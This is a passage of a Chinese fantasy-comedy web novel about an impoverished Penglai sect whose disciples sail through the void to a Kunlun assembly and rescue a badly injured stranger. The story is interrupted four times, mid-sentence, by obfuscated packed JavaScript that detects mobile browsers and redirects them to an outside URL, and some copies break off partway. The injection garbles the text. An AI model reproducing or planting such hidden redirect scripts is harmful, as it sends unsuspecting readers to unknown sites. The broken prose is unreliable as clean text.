好在孩子们渐渐长大了,惹事之余也能赚点钱,所以蓬莱的财务在今年终于不再是赤字,他们省吃俭用几千年,又赚了点钱,这才有盈余。 无法心立刻决定,要徒儿们去参加法会! 只是……看着自家四个弟子,无法心愁得头发都白了。 萧衔蝉和秦含玉趁师父沉思之际,两个脑袋凑在一起说悄悄话:“师父说要我们出去参加法会诶!” “路上便要耗费不少时间,只可惜咱们灵石太少了,驱不动大船”秦含玉道,“不然师父也能上船,出海时间还能缩短不少。” 金不禁叹息道:“是啊,听说那什么法会包吃包住,要是咱们灵石多,驱得动大船,我真想早早去法会上吃他们的、用他们的,这样下来,能省好多生活费呢!” 金不禁与无法心的想法不谋而合,师徒几人浑身透露出如出一辙的“有便宜不占王八蛋”的气质。 “此番参加法会,名次很重要!”无法心道,“法会第十一至六十名都有灵石做奖励,外界宗门林立,能力不凡者数不胜数,师父不得不逼一下你们,只要进了前六十,至少能拿到一万上品灵石的奖励! 这话听得草屋里的四人都激动起来,一万上品灵石啊!萧衔蝉来到这里这么久,她还没见过上品灵石呢,别说她了,估计师父都没见过。 有了灵石,他们的屋子就能驱使防台风的阵法,不必每次等台风过后重修屋子了! 无法心又道:“再者说,你们早一天去,便早一天为咱们门派省下伙食费,尤其妙妙,太能吃了,光是妙妙一人,就能省下好多呢。” 语气痛惜之深刻,着实令人感同身受。 萧衔蝉:? “师父你怎么能这样说话呢?”花沸雪温温柔柔,坐在一旁地上轻声细语地反驳师父。 萧衔蝉感动地看向大师兄,却听大师兄说:“光是妙妙能吃吗?看看万两和小玉,哪个不是半大小子吃穷老子?幸而徒儿是鬼修,不用吃饭,不然咱们门派的灵石可经不起折腾,咱们还是早早去吃大户吧。” 金不禁、萧衔蝉和秦含玉三人一脸问号,他们不过每顿吃几车鱼、几盆汤、十五六盆小菜和三大桶米饭,饭后再吃一锅甜糕喝几碗茶灌个水饱也就够了,如何就被大师兄冠上“吃穷老子”的凶名? 无法心身材清瘦,打着补丁的褴褛道袍穿在身上空空荡荡,容貌看上去不过二三十,周身却透出一股老父亲的气质。 他眯眼掐指计算路程距离,长叹一口气:“咱们门派赚取的金银炼化了一千零三十五颗下品灵石,提纯后就只有十颗中品灵石和三十五颗下品灵石,不够驱动凌云舟。” 蓬莱岛的凌云舟还是道禅仙尊在时用长生木做的,有一舱的、双舱的、四舱的……据说曾经最大的一座凌云舟有一个岛大小,但现在蓬莱岛只有一艘单舱的和一艘双舱的。 凌云舟可渡鸿蒙海,也可渡墟空,属于水陆空三栖工具。 但无论是鸿蒙海还是墟空,都太大了,海上有迷雾,墟空有乱流,若不用灵石做方向定位,极其容易迷失。 “难道师祖们从未离开过蓬莱岛吗?”萧衔蝉再次被自家门派的贫穷震住了。 无法心道:“那时咱们门派还有钱,上品灵石少说也有几百几千万,不仅用灵石给凌云舟定位方向,还用灵石驱动行驶,一天就能烧掉几百上品灵石,日行三万里,但今时不同往日……” “那么……咱们的灵石呢?”萧衔蝉问道。 无法心一脸惆怅,看向远方:“是啊,咱们的灵石呢?” 一番忆往昔后,无法心手指掐算不停:“小玉,为师记得你是百年前来到蓬莱的,你几岁上的长生木舟。” 萧衔蝉看去,秦含玉一双柳眉微蹙:“依稀记得,那年刚给我庆祝了九岁生辰。” 小师妹拜入师门时已经十二岁多了。 好家伙,原来没有灵石定位方向,得在墟空和海上飘三年才能飘到岛上,这还是非常幸运没有遇到墟空乱流的罕见案例。 “法会在三年后开始,你们最好马上出发,免得路上耽搁,为师还担心距离估错,十颗中品灵石不够用,到时候你们就得在墟空之中迷失,你们法力也不够冲破墟空。” 越说无法心越担心。 “咱们以前没钱,故而出不去,此番出海,你们师兄妹中要多加小心,万两和妙妙,你二人头脑灵活,为师打算叫你们带些咱们岛上的土特产给外界人售卖,多少也能赚点钱,哪怕赚金银也行,一两金子能炼成一块下品灵石呢。” 金不禁亦在考虑此事,闻言赞道:“到底是师父,就是有远见,与徒儿不谋而合,这样一来,回程驱使凌云舟所需的十颗中品灵石就有着落了。” 无法心拊掌大笑:“大善,大善,既是如此,为师便写下回信,传信于昆仑。” 花沸雪听闻师父的话,便要抽纸提笔,准备写下此番参加法会的名单,却被无法心夺下纸笔:“沸雪,快住手!咱们没剩多少纸墨了,万一日后你师弟妹们于儒修上有天赋,这些纸墨还要预备给你们日后用呢!” 花沸雪只好停手,无法心捏起印有昆仑宗印的灵力小玉牌,这玉牌只两指宽三指长,轻轻一抚,关龠法会宣传单便化为灵气,回到玉牌之中。 他以手结印,法力为墨,手指为笔,在玉牌上刻下“谢邀,会去”四字后,这小玉牌就只有一小溜的空白位置了。 无法心看着蚊子大小的位置,这点地方写不下参加法会的四个徒儿的名字,故而便刻下自己的名字,与昆仑示意身份,免得他们将这玉牌当成假的,然后徒手撑起一个传送阵,将刻在星移玉印上的消息送出去。 “你们回去准备一下,明日晨起便出发。” 萧衔蝉几人离开师父破破烂烂、刚经历过台风的茅草屋后,先去往附近的渔村的小酒馆,一起庆祝小师妹成功筑基,萧衔蝉大方请客,买了小师妹一直想喝但是舍不得买的春尽欢。 金色酒液泛着波光,散发果香和海盐香味,喝了便会让人情不自禁露出笑容。 秦含玉吸溜一小口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725633|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满足地眯起眼睛,长叹一声,好奇问道:“师姐,咱们每人每月只有十块灵石做零花钱,春尽欢一壶就要用去五块,你怎么如此有钱?” 她身为刀修,每月灵石全被她用来锻造她的且停侯,是以灵石袋子掏出来比脸还干净。 萧衔蝉将小师妹闭关这几年的零花钱塞进她的芥子袋,许是小师妹这些年都没打开芥子袋,她的袋子里都有蜘蛛丝了。 萧衔在自己的芥子袋上擦擦手:“我发现了一个挣钱的好办法!” 金不禁对秦含玉笑道:“你闭关几年不晓得,三师妹如今可了不得,你道师父为何突然说我们当中说不定会有儒修的天赋?就是因为你三师姐写了话本子去卖,竟还赚了几两金银,这些炼化成了三百灵石,要不是有这钱,再加上咱们往年攒的,这次我们又出不去海。” 秦含玉惊讶地睁大眼睛:“三师姐,你写的什么话本?” 萧衔蝉看着小师妹出尘的容颜,深觉不能用这些不堪入耳的话本名字污了小师妹耳朵。 金不禁瞥了一眼萧衔蝉的脸色,看热闹道:“你喝完酒去书肆看一看不就得了,卖得最好的就是她写的。” 出于好奇,秦含玉一口干了杯中酒,拉着师兄师姐去了岛上唯一一家书肆,萧衔蝉抵死不从,奈何小师妹天生神力,端的是林黛玉倒拔垂杨柳之势,似扛刀般,扛着萧衔蝉就进了书肆。 岛上的书肆并不大,只有两个书架,上面多是记载养鱼种地之法的书,村民们对岛上唯一一个修真门派的弟子早就熟稔得不能在熟稔,对花沸雪骷髅生花的面容也不惊讶——这位是修真的五人中,最会治病的,村民的病都是他治好的。 蓬莱一大稳定经济来源就来自于花沸雪给人诊病的收入。 老板热情迎上来:“几位想买些什么?还是要卖些什么?” 蓬莱岛弟子为了生存,常常进村换东西,久而久之,渔民们早就习惯了。 听说要看卖的最火的书,老板在萧衔蝉一脸造孽的表情下,偷偷摸摸从柜子最下层取出一本没有书名的书。 看秦含玉不解,老板解释道:“无法心道君昨日无意间看到这话本,很是生气,让我们书肆不要再售卖,但是大家都喜欢看这书,所以我也只好偷偷卖。” 萧衔蝉笑道:“不用偷偷卖,今天早上我已经说服了师父。” 用钞能力说服的。 秦含玉忍痛花费一块灵石,拿到一本平平无奇的书册,翻开封面看到简介,一双凤眸霎时瞪大—— 她,世人眼中的清冷仙尊,实力卓绝,无欲无求。 他,蓬莱岛最出色的弟子,却无人知晓他心如黑泥,对高高在上的师尊抱有不可言说的心思。 他们的关系是为世所不容的禁忌。 他本以为与高山之月心意相通,他拼命努力,就是为了能在将来爱情暴露时与师尊共进退。 直到堕魔渊上,他被剥去灵根,夺走法力,看着他敬仰爱慕的人抱着另一个男子,他才明白错付一腔痴情。 秦含玉的眉眼皱巴起来,大掌一拍站起身,厚实的柳木桌裂了一条缝:“师姐这话本怎么如此狗血?” 萧衔蝉道:“赚钱啊,不磕碜,就是这样的话本才容易卖得出去。” 秦含玉想起宗门的财政状况,又坐回去,边看边道:“女主和男主的人设怎么这么眼熟?是错觉吗?” 萧衔蝉心虚地摸摸鼻子:“不是错觉,确实有原型。” 4. 蓬莱岛(四) 秦含玉一脸不可思议,看向自己的三师姐一言难尽。 清冷师尊? 不是她不尊师重道,只是他们师父小气又寒酸,是在晚上借着月光捏针补衣服的人,怎么也和书里无情无欲、铁血铁腕、不染凡尘的师尊对不上号。 萧衔蝉奇怪道:“你怎么会将冷情师尊和咱们师父扯上关系?我写的是师祖啊!” 道禅仙尊和逍遥仙君师徒二人在万年前的大战中坐地飞升,然后就消失不见,比起被雷劫劈死,师徒二人产生不伦之恋进而私奔避世这个夺人眼球的传闻,更广为流传一些。 秦含玉更佩服了,却原来师姐不仅不尊师重道,更是欺师灭祖啊!她看了眼封面——《九十九夜:冷情师尊的掌上娇》,真想不出师公怎么做师祖的掌上娇。 趁师兄妹们欣赏自己的“著作”,萧衔蝉将书肆老板拉到一旁说话,走出书肆时,她的芥子袋里多了一大包的书。 “不禁!” 黄泥街道尽头走来一个妇人,正是金不禁的母亲,她笑着向他们走来:“听说小玉修为又精进了,真是厉害! 秦含玉弯起一对杏眼,双手抱拳:“好说好说。” 金母热情招呼:“今儿都来家里吃饭,把你们师父也叫来,我听说你们门派为了省钱已经好几个月没有吃肉了,连鱼虾都没得吃。” 萧衔蝉捂脸,自家门派的贫穷之名,岛上无人不知。 “你们叔叔今天一大早就抓了只大螃蟹,足有房子大,我决定一蟹三吃,做烤蟹、蒸蟹和蟹火锅。” 金母高兴地一拍手,眼睛不经意地瞥见萧衔蝉腰上挂的芥子袋,不由嗔道:“你这孩子到处乱跑,袋子都刮丝了。” 说着,伸手替萧衔蝉把飘荡的丝都拍去。 金不禁问道:“娘,你现在出来做什么?” 金母伸手,掌心躺着几颗珍珠:“家里没调料了,你爹才看着话本子哭出几颗珍珠来,我出来买椒盐。” 鲛人泣珠,聚群而居的鲛人一旦离群索居,因天性使然,常常会以泪洗面,然而金父每天都兴高采烈,别说泣珠,鱼尾纹都要笑出来了。 “也不知你爹怎么了,从来不哭的鱼,这几天捧着话本天天流珍珠,说在看什么掌上娇。” 萧衔蝉看天,脚趾不知不觉开始动工。 金不禁眉头紧皱,担忧极了:“爹这么哭下去可不行,珍珠本就是岛上货币之一,他要是总哭出珍珠来,会造成通货膨胀的。” 萧衔蝉继续望天,二师兄真是一个关心父亲的大孝子。 一行人来到金不禁家里,金家是岛上少有的茅草屋屋顶完整的人家,屋前一片椰树林。 岛上常吃鱼虾蟹,但比房子还大的螃蟹实在少见,故而金家请亲朋好友都来吃饭,大伙坐在沙滩上,一边吃烤蟹腿,一边听金父讲他过去的经历。 金父早年间遍游鸿蒙海,他也是岛上少数知晓墟空是何模样的人之一,他坐在海岸礁石上,金色的背鳍在阳光下熠熠生辉,见了萧衔蝉他们,四棱形的尾部动了动就打碎了石头。 鸿蒙海上万物皆可沉,生活在此海域的鲛人为了适应环境,各个身体变的铜墙铁壁般坚实。 金母习以为常,面不改色地看着丈夫咬碎人腿差不多粗的蟹腿,金父双手破壳,一边剔肉给老婆吃一边说:“%¥…” 金母翻译他的人鱼语:“你们金叔叔说,界壁就像海上白雾,浓白厚重,穿过白雾就是墟空,据说墟空中有万千小世界。上古时候的十方世界其实是一个世界来着,那时我界与他界互通有无,非常方便。” 萧衔蝉想起看过的历史书和地方志:“那时神界也与下界相通,通过建木就可以登上界游玩。” 无法心闻言,擦了一把嘴角的油:“据说建木现如今在山海界,当年山海界因灵气丰沛充盈而被觊觎,引起大战,但最后人们却说是因为山海界的妖们作恶多端,咎由自取。” 总而言之,人、鬼、妖、魔四道修士看彼此都不顺眼。 无法心担忧地看着自己的徒儿们,又沉思片刻,在衣摆处擦了擦油手,伸出拇指,在徒儿们的额头上每人画了一个椒盐味的敛灵符:“有了这个符,除非是修为比师父高的修士,否则无人能看出你们的真身。” 徒儿们孤身在外,多一事不如少一事。 霎时,萧衔蝉与秦含玉周身的妖魔之气俱不见踪影,花沸雪在大家眼中也变成了个面容清雅的青年,只是这副肉身容貌是虚影,若去触碰他的身体,只能抓到一把骨头。 萧衔蝉他们三人围着大师兄看热闹,口中啧啧称奇。 花沸雪擦了擦留在额骨处的油,宽慰师父:“当初我沉入墟空之前,人修与其他修士相处虽说平平,但也井水不犯河水,师父不必担心。” 无法心只点点头:“傻徒啊,你们哪里知道人心险恶,别真被人抓去当苦力。”看着吃得正香的徒儿们,无法心叹了口气,“你们可长点心吧!” 正埋头苦吃的金不禁、萧衔蝉和秦含玉齐齐抬头:“点心?有点心吃?” 不远处的海里,几个幼年小鲛人正用尾巴打球玩,脑壳大的椰子被他们的尾巴打来打去,最后不堪重负,在大伙头顶碎开,下了一场椰汁雨。 小鲛人们扒着岸石,央求花沸雪:“小花哥哥,借我们头踢嘛。” 花沸雪刚卸下骷髅头扔给他们,指骨就被师弟妹们借去剔蟹肉。 这群破孩子,花沸雪还没吐槽完,就听师父说:“烤鱼的竹签不够了,沸雪,卸根骨头来。” 在家的最后一顿饭其乐融融,萧衔蝉几人把酒言欢。 第二日一早,一艘一舱凌云舟停在青云岛旁,无法心眼泪汪汪地站在船下送别徒儿们,身后堆着好几个麻袋。 四个孩子除了沸雪,都是他看着长大的,从小到大还没离开过他,沸雪亦是与他师徒相伴千年,从无分离,此时分别之际,倒叫无法心生出几分不舍与惆怅来。 “沸雪,你与外界还有一段因果未了,为师万年来未出世,所谓沧海桑田,也不知如今外头情形,你一向心肠软,但对陌生人也要留有戒心。你弟妹们性子跳脱,你多看顾些。” 花沸雪的胳膊上搭着一条黑色大斗篷,因为肉身是虚影的缘故,身上需得罩一件大斗篷才能掩盖住奇怪之处,只是即便罩上斗篷,他看起来也瘦削得吓人。 他轻言细语:“师父放心,徒儿心里有数,此番出世,徒儿定会照顾好弟妹们。” 无法心叹了口气,看着大徒弟道:“你是金丹修为,又有法宝天月骨昙,为师没有不放心的。这一堆符篆是为师这几日写的,万一遇到危机时刻,便是遇上半步飞升的渡劫期大能也可抵挡一二。” 只见不可计数的符篆尽数飞入四个袋子里,将芥子袋装得鼓鼓囊囊,每一张符箓都是以指为笔,以灵为墨,刻在叶子上的。 金不禁的声音渐传渐近:“师父你干了什么?怎的今日小红们如此暴躁?” 他背着行囊走来,从一朵张着血盆大口的花嘴里拉出师父的袍子,本就破破烂烂的袍子更破了。 无法心道:“红美人食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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无法心再三叮嘱,又从自己破旧的芥子袋中取出四个小布包,所谓儿行千里母担忧,随着出行时间逼近,他越来越忧心。 “为师昨夜睡不着,左思右想,还是决定给你们几个留下锦囊妙计,若遇危急关头,只管掏出锦囊,为师保证,敌人一旦看到锦囊里的东西,绝对不敢动你们分毫。” 四人感动得眼泪汪汪,萧衔蝉接过小布包,正要打开看看,就被师父阻拦:“非千钧一发之时不可打开,切记切记。” 萧衔蝉使劲点头,感动地哽咽道:“放心吧师父,我们四个会照顾好自己的,您老人家独居岛上,也莫要闷在家里,多出去和大伙说说话,走动走动。” 四人拉着师父的手,皆是泪眼婆娑。 无法心心中觉得熨帖,感动得一腔老泪快要喷涌而出,却见四个徒儿一蹦一跳,兴奋地上了凌云舟。 三徒儿的尾巴尖摇了摇,示意再会,连头都没回一下,其余三个徒弟亦是如此,刚登上凌云舟就响起他们快活的聊天声,半分不舍都无。 无法心:……这群没良心的小兔崽子! 十块中品灵石被嵌在凌云舟的舵上,这艘小舟渐渐升上云雾,无法心终于控制不住,“嘤嘤嘤”哭了出来,擦了一把泪,舟侧探出四个脑袋——两个人脑袋,一个小熊猫脑袋,一个骷髅头。 小熊猫挥挥爪子,四人齐齐向无法心告别:“师父再见!” 天光大盛,晨雾散去,海浪拍击岛上岩石,无法心顿时生出一股雏鹰展翅,与天搏击的快慰,四个年轻人迎着朝阳,去找寻他们的道路了。 5. 墟空(一) 凌云舟扬起帆,悠悠地在白云间行驶,暖融融的阳光给柔软的白云镀上一层金色。 萧衔蝉很是想学学看过的小说或电视剧主角,站在甲板上迎风赋诗,只是现在船上所有的空地都堆放了货物,他们师兄妹四人挤在一个小舱里,甲班上堆满了货物。 他们在船上走路都要踮起脚尖,免得踩坏货物,卖不出好价钱,更别说站在这里迎风赋诗了。 哪个主角站在甲板上指点江山时,背景板是咸鱼干? 金不禁拿出几捆麻绳,让大家空闲时间编麻袋:“咱们芥子袋里全是师父给的符箓,再放不了多少东西,若没有麻袋,这许多货物怎么扛下去?也是走得太急了,没时间准备……” 金万两叹气。 于是在海上飘的日子里,他们师兄妹四人每人一捆麻绳,齐心协力编麻袋,闲暇时便打坐吐息,师兄妹们相伴,倒也不觉得无聊。 如是过了许久,凌云舟也从苍茫大海渐渐飘入一个海天一色、如同蓝玻璃盒子的地方。 “这是哪儿啊?”萧衔蝉看着船外的景色不由担心,凌云舟已经进入这个“蓝玻璃盒子”太久,这地方没有日月,不辨上下,更遑论方向,“要不是舵上嵌的灵石还在指明方向,我还以为咱们迷路在墟空了。” “这里应该是界壁,还没到墟空。”花沸雪道,“据书上记载,墟空中有万千世界,一刹便是亘古,亘古也不过一息,时与空毫无规则可言,不过我们如今既已到了界壁,想必离墟空不远了。” “我感觉咱们在界壁都漂了快一年了。”秦含玉道,“没想到还没到墟空。” 话音未落,四面渐渐弥漫起不易察觉的雾气,好似一团棉花包裹住了整艘小舟,雾气越来越有实质,凌云舟艰难地穿破雾气行驶。 终于,仿佛能听到“撕拉”一声,凌云舟的尖端穿破了界壁,墟空的景象徐徐在众人眼前展开。 不同世界的剪影如流星划过,生与死同时发生,安宁与战争顷刻间湮灭。 虚无,最寂寥阒然的地方也不会比这里更寂静;繁华,最人稠物穰的地方也没有这里热闹。 若没有灵石指路,萧衔蝉怀疑他们的凌云舟会当头撞进哪个小世界的时空乱流,然后永远迷失在墟空中。 “墟空,原来是这样子的吗?原来真有五彩斑斓的黑。”萧衔蝉喃喃,突然说道,“如果此时有人偷袭,将人随便扔进哪个小世界……” 金不禁摇摇头:“在墟空施展法力何等之难,再说了,万一将人扔进灵气丰沛的上界,岂不是助仇敌得机遇?” 萧衔蝉将窗子掀开一小条缝,却不敢伸手去触碰外面,怕被哪个世界吸过去,数个小世界从他们身边消失,似流星般绚烂。 在墟空中又飘了许久,现在他们四人也不打坐了,每日除了编麻袋就是观察小世界中发生的事,不过小世界消逝得太快了,往往他们只能看到模糊的一个画面。 许是盯着小世界太久,他们竟然练出了好眼力,从开始只能看到小世界的一个模糊画面,到能看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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从进入墟空时,系统说话的频次便减少了,萧衔蝉仔细回想,却无法确定系统是什么时候就再无动作,只能想起系统的最后一句话——“去拯救男主吧!拯救男主就是拯救世界啊!” 锤子哦!到最后一刻,这个疑似将她拐卖到异世界的家伙还在画大饼。 可是系统为什么突然消失了?明明她都离开鸿蒙海,眼看离男主越来越近,系统应该更加唠叨才对。 萧衔蝉疑虑满腹却不得而解,正沉思时,忽觉周身有些不对劲,她向窗外看去,只见丝丝缕缕、如线似雾的东西在他们四周升起。 这雾丝让人不易察觉,等他们反应过来时,凌云舟已经飘进一团灰色里了,方才不断消逝的小世界都不见了,四周全是灰蒙蒙的。 金不禁坐在萧衔蝉身边,和她一起查看外面景象,他皱眉:“我爹曾说过,他年轻时常在界壁和墟空游玩,那时只界壁与墟空之间是雾,怎的如今都进墟空许久了,遇到的却是这般景象。” 萧衔蝉小心翼翼的触碰那些雾,搓了搓手指,这些雾丝留下的触感让她想起蜘蛛丝,她满身不适,心中奇怪,难道墟空有雾霾?看样子也不像啊。 “界壁与墟空之间的雾因灵气激荡而生,都是白色的,这却是灰色。”萧衔蝉抿紧唇,试着运起法力,灰蒙蒙的东西一碰到法力就被净化了,她惊呼,“这是祟气,太过浓重,以至于如同实质。” 秦含玉沉思良久,忽然道,“会不会是有哪个鬼修或魔修在此修炼,因此引来了祟气?不过我感应不到魔气,估计是鬼修。” 说到鬼修,三人齐齐看向花沸雪,大师兄的骷髅头做不成表情,但他们却能看出几分无奈:“鬼修修炼总会带出鬼气来,可这雾如此浓重却无一丝鬼气,再者,我们还在墟空中,谁会在如此危险的墟空修炼?” “是不是是鬼王或者魔尊?传说中鬼王诞于幽冥,魔尊诞于恶域,大象无形,大音希声,他们身上可能就没有鬼气和魔气。”萧衔蝉道。 她自决定赚钱以来,写过不少话本子,除了主角是人修的掌上娇,还有主角身为鬼王、魔尊、妖皇的,因此要参考许多书籍,故而知晓不少事情。 她道:“说不定他们爱好特别,就喜欢在墟空里修炼呢?” 花沸雪摇头,向师妹科普:“鬼王、魔尊、妖皇,仙帝等都是传说中上古时期,应天地规则降生的先天神灵,且鬼魔妖三位因性情乖张,俱被仙帝降伏,即便他们要重出于世,也会选择灵气更加充沛的地方投胎,又怎会在墟空?这里又没香火供奉。” 花沸雪打坐,双手掐诀,耳孔里的一红一白两朵昙花越发光华灿烂,两粒黄豆似的灵珠从昙花芯飞出,没入墟空的黑暗中。 他声音温柔,安抚师弟师妹们:“不要慌张,墟空会压制所有修士的法力,没人能在这里设伏,再者,我们蓬莱岛许久不出世,也无仇敌,我已遣昙灵前去探路,想必不会有意外。” 越深入灰雾,他们越感觉到冷,灰色的雾丝几乎变成如夜深沉的墨色,他们呼出的气都变白了。 金不禁有些警惕地站起来:“我……我竟然感觉到冷了?” 他们都是筑基期以上的修士,金不禁还是金火双灵根,普通的气温变化怎么可能会影响到他们,但是此时所有人都感觉到了阴冷,宛如一盆冰水浇在他们身上,顺着骨头缝渗进去,冷得打哆嗦。 萧衔蝉干脆变回原型,她用尾巴盖住自己,团成一个团子,被秦含玉揣在怀里。 “师姐,你的原型真是太好用了。”秦含玉忍不住将手揣在毛茸茸的小熊猫毛里,满足地感叹。 萧衔蝉不满地抖抖小胡子,正在此时,年头已久的凌云舟忽然剧烈地晃动了一下,放在窗边的袋子里掉出了萧衔蝉这些年写的所有狗血文合订本。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725636|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦含玉见状,立刻一个投球将萧衔蝉扔到床上,飞身向前,然于事无补,那本合订本已经掉出窗棂了,秦含玉尔康手僵在原地,脸上留下宽带面条泪。 金不禁“哈”了一声,见小师妹如此真情实感,他不由怀疑自己:“那什么《掌上娇》《带球跑》你真能看得下去?” 秦含玉欲哭无泪:“师姐新写的《蚀骨危情:鬼王的天才王妃》可好看了,我才看到女主发现自己与男主是兄妹,……” 哦豁,骨科文。 萧衔蝉矜持地捋捋翘起来的胡子:“我的芥子袋里还有,等到了外界,就先找书肆出版,一定让你看到结局。” 四人围坐在一起,金不禁掐诀,一团火焰跳跃在众人之中,但这温暖却不足以抵挡寒冷,只能聊作慰藉。 两粒金灿灿的光点终于从浓雾中飞回,落在花沸雪面前,弹来弹去,渐渐抽条,变成两个小人,一个小人穿红色昙花瓣做的衣裳,一个小人穿白色昙花瓣做的衣裳。 花沸雪森白的指骨接住两个昙花灵,花灵立刻叽叽喳喳起来—— “看到啦看到啦!” “看到了灰灰红红的东西!” “我们被挡在外面了!” 花沸雪疑惑:“看到了什么?” 昙花灵身为新生的器灵,灵智还处于幼年状态,说话颠三倒四,花沸雪还没来得及仔细问,就见小熊猫的圆耳朵突然动了动。 萧衔蝉原本和师妹团在一起,运起灵力互相取暖,却突然听到很模糊的一丝声响动,好似一串泡泡在水面下破碎,又好像丝帛崩裂。 身为妖修,她在某些方面比同阶甚至高阶的其他修士要强,比如听力和嗅觉。 “这里有人!”萧衔蝉惊呼一声,她连忙直起身子,两只毛茸爪搭在贝壳窗上,映出两朵梅花。 “就在西面!呼吸微弱,无灵力。”小熊猫的黑鼻尖动了动,“有血味,此人身负重伤。” 几人都严肃起来。 7. 墟空(三) 金不禁算算嵌在凌云舟舵上剩下的灵石:“还剩下两块,没有意外的话,我们已经快走出墟空了,这里竟然有人!莫非是外界人误入此处?” 墟空之中灵气稀薄,若有人在此,万一受伤,只能等死。 几人当即决定去甲班上看看。 花沸雪将白色昙花从耳孔摘下,细白的指骨拈着一朵白花,恰如佛祖拈花,白昙见风就长,霎时间与凌云舟大小相当,像一支羽箭,离弦般飞向西方。 与此同时,金不禁、萧衔蝉和秦含玉齐齐向凌云舟的舵输去灵力,加快凌云舟的速度,三人也因过快失去灵力而脸色苍白。 凌云舟越往西行驶,血腥味越浓重,就连灰色的雾丝也沾染了鲜血,可怎么也找不到伤者。 白昙似飞盘,在浓雾中无头苍蝇般回旋。 眼看师兄师妹的脸色愈加不好,萧衔蝉咬咬牙:“我去寻人。” 不顾师兄妹的劝阻,她跃过堆满货物的甲班,跳上栏杆,站在船头上,打满补丁的衣裙猎猎,一个用力,敏捷地跳到大师兄的白昙花上,乘着花寻找伤者。 终于在一片遍布红色雾丝的地方看到了一个人影,那人躺在蛛网正中,被雾丝紧紧缠绕,细看可以看到灰色雾丝如同头发,紧紧嵌入那人的肉里,吮吸他的血肉。 “难怪这雾从灰色变成红色。”萧衔蝉暗道,“看着就疼死人了。” 她试着让白昙花靠近伤者那里,却被无孔不入的雾拦住。 这该怎么办? 萧衔蝉灵机一动,将毛茸茸的大尾巴甩了出来,尾巴不断变大变长,蓬松的绒毛将拦路的雾丝全部甩飞,靠近“蛛网”中的人,白色尾巴尖一卷,似墨西哥鸡肉卷,一下子就将人卷了上来,白昙花连忙载着两人飞回凌云舟。 她甩了尾巴上粘着的雾丝,在船上等着的三人纷纷围了过来,将救上来的人抱进船舱,让他躺在凌云舟里唯一的一张榻上。 此人浑身是血,气息微微,一身白衣破损不堪,被血浸透,双目紧闭,身上没一块好皮,看不出是修哪一道的修士,只能看出是个男人。 花沸雪的指骨搭在他的腕上,良久,他微微摇头叹气:“完了,晚了一步。” 萧衔蝉三人俱是一惊:“什么?他已经死了吗?” 花沸雪连忙摇头,“当然不是”他解释道,“我观此人经脉根骨,必是个修炼的天纵奇才,但他经脉尽裂,丹田破碎,灵府被毁,灵根已断,已然无法再修炼了。” 萧衔蝉听得瑟瑟发抖,她之前修炼时,光是吸收灵气拓宽经脉就疼得她打滚,实在想不出经脉碎裂是什么感觉。 “那他还有救吗?” “很麻烦”花沸雪道,“生死藤可重塑经脉,五色土可修复丹田,等他丹田修复好,便能用天乩石重建灵府,可即便能治好丹田灵府,他也没有灵根了,哪怕收集到所有天材地宝,但是重塑灵根……普天之下无人能做到。” 他说到这连连叹息,语气里满是对一个天才坠落的可惜。 “妙妙,给他止血还需九节狼毛,和这些药材烧成灰,抹在他身上。” 萧衔蝉伸出尾巴让大师兄薅毛,低下头看这个人,这人身上全是细密的、深可见骨的伤口,这些伤口好像一张网,将他死死勒住,鲜血慢慢渗出,流不完似的。 “不禁,来把他衣服脱了。” 花沸雪给男人塞了一片白昙花瓣吊住命,一边炮制药材一边吩咐师弟,师妹们都是姑娘,干这种活难免害羞。 金不禁运起的灵力刚碰到这个男人,就被一股极驳杂的气息打了回来,他惊讶地看着自己的手,手上一丝被打到的红痕也无,但他的确清晰地察觉到反抗的灵气。 花沸雪惊奇道:“他已无法引灵入体,竟还残留着一丝法力?果然是天纵奇才!” 只是经此一击后,这个天纵奇才身上的伤口更深了,鲜血跟小河似的,汩汩流出。 花沸雪想了想:“妙妙,你来给他脱衣吧,你是救他上来的人,说不定他对你没那么多的防备和抗拒。” 花沸雪有些不好意思叫师妹干这种活,师妹一个女孩子,平日里就跟他们几个师兄在一处,忽然叫她脱陌生男子衣裳,一定极让她感觉有压力…… 花沸雪正心疼师妹,然后他就看见师妹一点不好意思也无,直接上手,“唰”一声,榻上的男人上半身被扒个精光,裤子虽然没脱,但腰带、荷囊等物都被抽走了。 花沸雪:……他还是心疼心疼患者吧。 不等他上药,只见一道光芒快如闪电,嗖得一下就钻进了萧衔蝉的印堂。 众人大惊失色,立刻冲到萧衔蝉身边,还不待大家替她检查,便听一声清脆的碎裂声响起,大家应声看去,却见一个罗盘似的法宝摔在地板上,四分五裂。 